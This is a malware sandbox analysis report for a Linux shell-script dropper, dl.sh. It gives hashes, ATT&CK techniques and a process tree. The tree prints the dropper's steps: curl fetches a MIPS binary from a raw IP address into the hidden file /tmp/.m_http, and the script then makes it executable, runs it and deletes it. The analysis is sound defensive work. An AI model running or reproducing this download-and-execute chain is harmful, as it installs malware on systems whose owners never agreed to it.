408d5f55d8db44679c4f1502018b744e357e30dbf2c7e32b44c0fb4d6759ad2c

Analysis

max time kernel
2s
max time network
5s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14/10/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 6KB
Sample261014-pg3mqsvtey
SHA256 408d5f55d8db44679c4f1502018b744e357e30dbf2c7e32b44c0fb4d6759ad2c
MD5 970eca861d1ec69c987758512bb0f667
SHA1 bc1b5e7586e4aac538fc61cfc571d55ccea5c95c
SHA512 2764ff1dfa033142ff6cf6d798cafe24c89c198ab441cd8289220dc84de1714626374286c0a67183701a77c38637cec43f05b2bb93728cfe60b27373477a910b
SSDEEP 192:l/SsNXWnVAsgWgiPe1i1AL9ilcT9iBlwnZGioGhGiy1wisY:bcllj
TLSH
T1A4E121D5B9E3683235EE057C6BB5B44AA2C7683302097C41F59D77207F281AEF07A729
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.m_http	755	dl.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
730	base64

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	stat

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
738	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	curl

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
PID:725
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:730
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:731
- /bin/uname
  uname -m
  2⤵
  PID:733
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://176.65.139.136/cat/mips -o /tmp/.m_http
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /usr/bin/stat
  stat "-c%s" /tmp/.m_http
  2⤵
  - Reads runtime system information
  PID:752
- /bin/chmod
  chmod +x /tmp/.m_http
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /bin/rm
  rm -f /tmp/.m_http /tmp/.m_tftp /tmp/.m_ftp
  2⤵
  PID:756
- /tmp/.m_http
  /tmp/.m_http
  2⤵
  PID:755

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.m_http

Path /tmp/.m_http
Size 144KB
SHA256 e31095dc97bc60d6a9e57f61d097d7ec094d11f4a230a1f6198f9ccd4dc0a050
MD5 0f284a4e6cb0e1cb17154bc81d85f791
SHA1 7eadd5387027e700951e65c1a7f4555d2ec1bec8
SHA512 a37fefec287d4093ffb311ebc3cbba8d3de71c8e10cadd517cb316a399cc9bafb4b0c37c88e8609393c47b73e9d88ac43f77d67bbafd6da98d7c346e27768a26
SSDEEP 3072:Eolj1/wvBTCev2T2Nu3K3UvX8czT1PJtt5ZKGYPKDjl7IiVd:EimueviKn+JPJtrZKGYQj1IAd
TLSH
T157E312D917CBC2CFDE92A47A60F18FB834B61D706C25CCE17A05E9C5DC8A240B1ED696
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download